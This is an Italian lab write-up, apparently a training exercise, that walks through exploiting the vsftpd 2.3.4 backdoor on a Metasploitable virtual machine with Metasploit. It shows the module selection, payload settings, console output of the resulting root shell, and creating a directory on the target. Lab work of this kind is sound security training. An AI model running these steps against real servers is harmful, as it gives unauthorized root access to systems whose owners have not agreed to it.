Hacking con Metasploit:

L' obbiettivo è quello di condurre una sessione di *hacking* utilizzando *Metasploit* su una macchina virtuale *Metasploitable*.

E' richiesto di completare una sessione di *hacking* sul servizio "*vsftpd*" della macchina *Metasploitable*, come discusso nella lezione teorica.

Dettagli dell'Attività

Configurazione dell'Indirizzo IP: Configurare l'indirizzo come segue: 192.168.1.149/24

- **1.** Svolgimento dell'Attacco Utilizzando **Metasploit**, eseguite una sessione di **hacking** sul servizio "vsftpd" della macchina **Metasploitable**.
- **2.** Creazione di una Cartella Una volta ottenuta l'accesso alla macchina **Metasploitable**, navigate fino alla directory di root (/) e create una cartella chiamata test_metasploit utilizzando il comando **mkdir**.

SVOLGIMENTO

Per prima cosa si andrà a modificare l'indirizzo *IP* della macchina *Metasploitable*, per farlo andremo ad editare il file interfaces, *Figura 1*, andando ad inserire l'*IP: 192.168.1.149/24* utilizzando il comando:

sudo nano /etc/network/interfaces

```
# This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5).

# The loopback network interface auto lo iface lo inet loopback

# The primary network interface auto eth0 iface eth0 inet static address 192.168.1.149 netmask 255.255.255.0 gateway 192.168.1.1
```

Figura 1, viene impostato l'IP: 192.168.1.149 nel file interface.

Si andrà poi a riavviare l'interfaccia, "sudo /etc/init.d/networking restart", in modo tale da modificare l'IP, verificando l'avvenuta modifica con il comando "Ifconfig". Figura 2

Figura 2, il primo comando riavvia l'interfaccia, con il secondo comando si verifica che l'IP sia stato effettivamente aggiornato.

Verifichiamo ora che le due macchine siano in grado di comunicare tra loro mediante comando "ping", Figura 3, la macchina Kali ha IP: 192.168.1.11 la macchina Metasploitable ha IP: 192.168.1.149.

```
\( \text{kali} \cdot \text{kali} \)-[\( \text{|} \) \space \( \text{ping} \) \quad \( 192.168.1.149 \)

PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.

64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=0.626 ms

64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=0.427 ms

64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=0.178 ms

64 bytes from 192.168.1.149: icmp_seq=4 ttl=64 time=0.224 ms

\( \text{|} \) \quad \( \text{|} \) \qua
```

Figura 3, ping per vericare che Kali comunichi con Metasploitable.

Andiamo ora a provare la sessione di *Hacking* sul servizio vsftpd di *Metasploitable* con *Metasploit*, apriremo quindi la console con *"msfconsole"*. *Figura 4*



Figura 4, Metasploit.

Si procede quindi con il comando con "search nome_servizio", in questo caso vsftpd, per andare a identificare quali sono gli exploit noti. Figura 5

Figura 5, il comando search visualizza a schermo gli exploit noti.

Nel caso specifico con il comando *"use nome_exploit"* andremo a selezionare il secondo (*Backdoor Command Execution*) seguito da *"show options"* per vederne i settaggi. *Figura* 6

Figura 6, viene selezionto un exploit e ne viene mostrata la configurazione.

Si va poi ad impostare l' host target con il comando **set rhost 192.168.1.149.** Il passo successivo è quello di andare a mostrare i **payloads** con **"show payloads"** e impostare poi quello che permette di avviare il terminale **"set payload 0"**. **Figura 7**

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

# Name Disclosure Date Rank Check Description
0 payload/cmd/unix/interact . normal No Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload 0
payload ⇒ cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > |
```

Figura 7, vengono mostrati i payloads disponibile e viene selezionato quello alla posizione 0.

Avviamo la sessione di hacking con il comando "exploit" e verifichiamo che venga aperta la sessione. Figura 8

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.1.149:21 - USER: 331 Please specify the password.

[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...

[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (192.168.1.11:35325 → 192.168.1.149:6200) at 2025-01-20 14:52:29 +0100
```

Figura 8, dopo il comando exploit viene aperta la sessione con Metasploitable.

Una volta avuto accesso al terminale di *Metasploitable*, facciamo un controllo andando a verificare di aver stabilito effettivamente una sesisone con la macchina con *IP*: 192.168.1.149, con il comando "whoami" e "ip a"Figura 9 l' ultimo passo sarà quello di andare a creare una nuova directory, "mkdir test_metasploit". Figura 10

```
whoami
root

ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
    valid_lft forever preferred_lft forever

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:85:83:68 brd ff:ff:ff:ff:ff
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
    lnet6 fe80::a00:2/ff:fe85:8a08/64 scope link
    valid_lft forever preferred_lft forever
```

Figura 9, con i comandi ip a e "whoami" si controlla di essere nel root di Metasploitable.

```
mkdir /test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
```

Figura 10, con il comando mkdir viene creata una nuova directory test_metasploit.